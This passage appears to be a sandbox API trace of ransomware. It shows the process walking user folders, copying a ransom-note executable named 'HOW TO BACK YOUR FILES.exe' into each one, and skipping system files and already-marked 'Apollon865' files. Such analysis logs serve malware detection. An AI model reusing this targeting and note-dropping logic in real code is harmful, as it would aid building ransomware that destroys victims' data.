	[0040.166] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x300c8cb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.166] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0040.166] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1
	[0040.166] lstrcmpiW (lpString1="Security", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.166] lstrcmpiW (lpString1="Security", lpString2="Apollon865.txt.exe") returned 1
	[0040.166] lstrcmpiW (lpString1="Security", lpString2=".") returned 1
	[0040.166] lstrcmpiW (lpString1="Security", lpString2="..") returned 1
	[0040.166] lstrcmpiW (lpString1="Security", lpString2="windows") returned -1
	[0040.166] lstrcmpiW (lpString1="Security", lpString2="bootmgr") returned 1
	[0040.166] lstrcmpiW (lpString1="Security", lpString2="temp") returned -1
	[0040.166] lstrcmpiW (lpString1="Security", lpString2="pagefile.sys") returned 1
	[0040.166] lstrcmpiW (lpString1="Security", lpString2="boot") returned 1
	[0040.166] lstrcmpiW (lpString1="Security", lpString2="ids.txt") returned 1
	[0040.166] lstrcmpiW (lpString1="Security", lpString2="ntuser.dat") returned 1
	[0040.166] lstrcmpiW (lpString1="Security", lpString2="perflogs") returned 1
	[0040.166] lstrcmpiW (lpString1="Security", lpString2="MSBuild") returned 1
	[0040.166] lstrlenW (lpString="Security") returned 8
	[0040.166] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\*") returned 49
	[0040.166] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Security" | out: lpString1="Security") returned="Security"
	[0040.166] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0040.166] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591640
	[0040.166] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0040.166] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0
	[0040.166] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0040.166] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b79b0
	[0040.166] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security"
	[0040.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0040.167] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0040.167] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security") returned 56
	[0040.167] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security" | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security"
	[0040.167] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.167] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\security\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.171] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.171] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300c8cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.171] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.171] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.171] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.171] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300c8cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.171] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.171] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.171] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.171] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.171] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1df, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="directories.acrodata", cAlternateFileName="DIRECT~1.ACR")) returned 1
	[0040.171] lstrcmpiW (lpString1="directories.acrodata", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.171] lstrcmpiW (lpString1="directories.acrodata", lpString2="Apollon865.txt.exe") returned 1
	[0040.171] lstrcmpiW (lpString1="directories.acrodata", lpString2=".") returned 1
	[0040.172] lstrcmpiW (lpString1="directories.acrodata", lpString2="..") returned 1
	[0040.172] lstrcmpiW (lpString1="directories.acrodata", lpString2="windows") returned -1
	[0040.172] lstrcmpiW (lpString1="directories.acrodata", lpString2="bootmgr") returned 1
	[0040.172] lstrcmpiW (lpString1="directories.acrodata", lpString2="temp") returned -1
	[0040.172] lstrcmpiW (lpString1="directories.acrodata", lpString2="pagefile.sys") returned -1
	[0040.172] lstrcmpiW (lpString1="directories.acrodata", lpString2="boot") returned 1
	[0040.172] lstrcmpiW (lpString1="directories.acrodata", lpString2="ids.txt") returned -1
	[0040.172] lstrcmpiW (lpString1="directories.acrodata", lpString2="ntuser.dat") returned -1
	[0040.172] lstrcmpiW (lpString1="directories.acrodata", lpString2="perflogs") returned -1
	[0040.172] lstrcmpiW (lpString1="directories.acrodata", lpString2="MSBuild") returned -1
	[0040.172] lstrlenW (lpString="directories.acrodata") returned 20
	[0040.172] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*") returned 58
	[0040.172] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="directories.acrodata" | out: lpString1="directories.acrodata") returned="directories.acrodata"
	[0040.172] lstrlenW (lpString="directories.acrodata") returned 20
	[0040.172] lstrlenW (lpString="Apollon865") returned 10
	[0040.172] lstrcmpiW (lpString1="s.acrodata", lpString2="Apollon865") returned 1
	[0040.172] lstrlenW (lpString=".dll") returned 4
	[0040.172] lstrcmpiW (lpString1="directories.acrodata", lpString2=".dll") returned 1
	[0040.172] lstrlenW (lpString=".lnk") returned 4
	[0040.172] lstrcmpiW (lpString1="directories.acrodata", lpString2=".lnk") returned 1
	[0040.172] lstrlenW (lpString=".ini") returned 4
	[0040.172] lstrcmpiW (lpString1="directories.acrodata", lpString2=".ini") returned 1
	[0040.172] lstrlenW (lpString=".sys") returned 4
	[0040.172] lstrcmpiW (lpString1="directories.acrodata", lpString2=".sys") returned 1
	[0040.172] lstrlenW (lpString="directories.acrodata") returned 20
	[0040.172] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz"
	[0040.172] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5f20 | out: hHeap=0x580000) returned 1
	[0040.172] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0040.172] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 29
	[0040.172] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz"
	[0040.172] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.172] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.178] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.178] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x300eee10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300eee10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.178] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.178] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.178] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.178] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x300eee10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300eee10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.178] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.178] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.178] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.178] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.178] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1
	[0040.178] lstrcmpiW (lpString1="AppData", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.178] lstrcmpiW (lpString1="AppData", lpString2="Apollon865.txt.exe") returned 1
	[0040.178] lstrcmpiW (lpString1="AppData", lpString2=".") returned 1
	[0040.178] lstrcmpiW (lpString1="AppData", lpString2="..") returned 1
	[0040.178] lstrcmpiW (lpString1="AppData", lpString2="windows") returned -1
	[0040.178] lstrcmpiW (lpString1="AppData", lpString2="bootmgr") returned -1
	[0040.178] lstrcmpiW (lpString1="AppData", lpString2="temp") returned -1
	[0040.178] lstrcmpiW (lpString1="AppData", lpString2="pagefile.sys") returned -1
	[0040.178] lstrcmpiW (lpString1="AppData", lpString2="boot") returned -1
	[0040.178] lstrcmpiW (lpString1="AppData", lpString2="ids.txt") returned -1
	[0040.178] lstrcmpiW (lpString1="AppData", lpString2="ntuser.dat") returned -1
	[0040.178] lstrcmpiW (lpString1="AppData", lpString2="perflogs") returned -1
	[0040.178] lstrcmpiW (lpString1="AppData", lpString2="MSBuild") returned -1
	[0040.178] lstrlenW (lpString="AppData") returned 7
	[0040.178] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*") returned 31
	[0040.178] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="AppData" | out: lpString1="AppData") returned="AppData"
	[0040.178] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0040.178] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4c) returned 0x5bc908
	[0040.178] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7970
	[0040.179] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0040.179] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.179] lstrcmpiW (lpString1="Application Data", lpString2="Apollon865.txt.exe") returned 1
	[0040.179] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1
	[0040.179] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1
	[0040.179] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1
	[0040.179] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1
	[0040.179] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1
	[0040.179] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1
	[0040.179] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1
	[0040.179] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1
	[0040.179] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1
	[0040.179] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1
	[0040.179] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1
	[0040.179] lstrlenW (lpString="Application Data") returned 16
	[0040.179] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned 37
	[0040.179] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data"
	[0040.179] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0040.179] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c5458
	[0040.179] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0040.179] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1
	[0040.179] lstrcmpiW (lpString1="Contacts", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.179] lstrcmpiW (lpString1="Contacts", lpString2="Apollon865.txt.exe") returned 1
	[0040.179] lstrcmpiW (lpString1="Contacts", lpString2=".") returned 1
	[0040.179] lstrcmpiW (lpString1="Contacts", lpString2="..") returned 1
	[0040.179] lstrcmpiW (lpString1="Contacts", lpString2="windows") returned -1
	[0040.179] lstrcmpiW (lpString1="Contacts", lpString2="bootmgr") returned 1
	[0040.179] lstrcmpiW (lpString1="Contacts", lpString2="temp") returned -1
	[0040.179] lstrcmpiW (lpString1="Contacts", lpString2="pagefile.sys") returned -1
	[0040.179] lstrcmpiW (lpString1="Contacts", lpString2="boot") returned 1
	[0040.179] lstrcmpiW (lpString1="Contacts", lpString2="ids.txt") returned -1
	[0040.179] lstrcmpiW (lpString1="Contacts", lpString2="ntuser.dat") returned -1
	[0040.179] lstrcmpiW (lpString1="Contacts", lpString2="perflogs") returned -1
	[0040.179] lstrcmpiW (lpString1="Contacts", lpString2="MSBuild") returned -1
	[0040.179] lstrlenW (lpString="Contacts") returned 8
	[0040.179] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data") returned 46
	[0040.179] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts"
	[0040.180] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", dwFileAttributes=0x10) returned 1
	[0040.180] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0040.180] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4e) returned 0x5bc960
	[0040.180] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0040.180] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1
	[0040.180] lstrcmpiW (lpString1="Cookies", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.180] lstrcmpiW (lpString1="Cookies", lpString2="Apollon865.txt.exe") returned 1
	[0040.180] lstrcmpiW (lpString1="Cookies", lpString2=".") returned 1
	[0040.180] lstrcmpiW (lpString1="Cookies", lpString2="..") returned 1
	[0040.180] lstrcmpiW (lpString1="Cookies", lpString2="windows") returned -1
	[0040.180] lstrcmpiW (lpString1="Cookies", lpString2="bootmgr") returned 1
	[0040.180] lstrcmpiW (lpString1="Cookies", lpString2="temp") returned -1
	[0040.180] lstrcmpiW (lpString1="Cookies", lpString2="pagefile.sys") returned -1
	[0040.180] lstrcmpiW (lpString1="Cookies", lpString2="boot") returned 1
	[0040.180] lstrcmpiW (lpString1="Cookies", lpString2="ids.txt") returned -1
	[0040.180] lstrcmpiW (lpString1="Cookies", lpString2="ntuser.dat") returned -1
	[0040.180] lstrcmpiW (lpString1="Cookies", lpString2="perflogs") returned -1
	[0040.180] lstrcmpiW (lpString1="Cookies", lpString2="MSBuild") returned -1
	[0040.180] lstrlenW (lpString="Cookies") returned 7
	[0040.180] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned 38
	[0040.180] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies"
	[0040.180] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0040.180] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4c) returned 0x5bc9b8
	[0040.180] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0040.180] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d368950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0040.180] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.180] lstrcmpiW (lpString1="Desktop", lpString2="Apollon865.txt.exe") returned 1
	[0040.180] lstrcmpiW (lpString1="Desktop", lpString2=".") returned 1
	[0040.180] lstrcmpiW (lpString1="Desktop", lpString2="..") returned 1
	[0040.180] lstrcmpiW (lpString1="Desktop", lpString2="windows") returned -1
	[0040.180] lstrcmpiW (lpString1="Desktop", lpString2="bootmgr") returned 1
	[0040.181] lstrcmpiW (lpString1="Desktop", lpString2="temp") returned -1
	[0040.181] lstrcmpiW (lpString1="Desktop", lpString2="pagefile.sys") returned -1
	[0040.181] lstrcmpiW (lpString1="Desktop", lpString2="boot") returned 1
	[0040.181] lstrcmpiW (lpString1="Desktop", lpString2="ids.txt") returned -1
	[0040.181] lstrcmpiW (lpString1="Desktop", lpString2="ntuser.dat") returned -1
	[0040.181] lstrcmpiW (lpString1="Desktop", lpString2="perflogs") returned -1
	[0040.181] lstrcmpiW (lpString1="Desktop", lpString2="MSBuild") returned -1
	[0040.181] lstrlenW (lpString="Desktop") returned 7
	[0040.181] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies") returned 37
	[0040.181] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop"
	[0040.181] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", dwFileAttributes=0x10) returned 1
	[0040.181] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0040.181] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4c) returned 0x5bca10
	[0040.181] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0040.181] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1caf2ec0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1caf2ec0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
	[0040.181] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.181] lstrcmpiW (lpString1="Documents", lpString2="Apollon865.txt.exe") returned 1
	[0040.181] lstrcmpiW (lpString1="Documents", lpString2=".") returned 1
	[0040.181] lstrcmpiW (lpString1="Documents", lpString2="..") returned 1
	[0040.181] lstrcmpiW (lpString1="Documents", lpString2="windows") returned -1
	[0040.181] lstrcmpiW (lpString1="Documents", lpString2="bootmgr") returned 1
	[0040.181] lstrcmpiW (lpString1="Documents", lpString2="temp") returned -1
	[0040.181] lstrcmpiW (lpString1="Documents", lpString2="pagefile.sys") returned -1
	[0040.181] lstrcmpiW (lpString1="Documents", lpString2="boot") returned 1
	[0040.181] lstrcmpiW (lpString1="Documents", lpString2="ids.txt") returned -1
	[0040.181] lstrcmpiW (lpString1="Documents", lpString2="ntuser.dat") returned -1
	[0040.181] lstrcmpiW (lpString1="Documents", lpString2="perflogs") returned -1
	[0040.181] lstrcmpiW (lpString1="Documents", lpString2="MSBuild") returned -1
	[0040.181] lstrlenW (lpString="Documents") returned 9
	[0040.181] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37
	[0040.182] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="Documents" | out: lpString1="Documents") returned="Documents"
	[0040.182] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", dwFileAttributes=0x10) returned 1
	[0040.182] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0040.182] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bca68
	[0040.182] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0040.182] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1
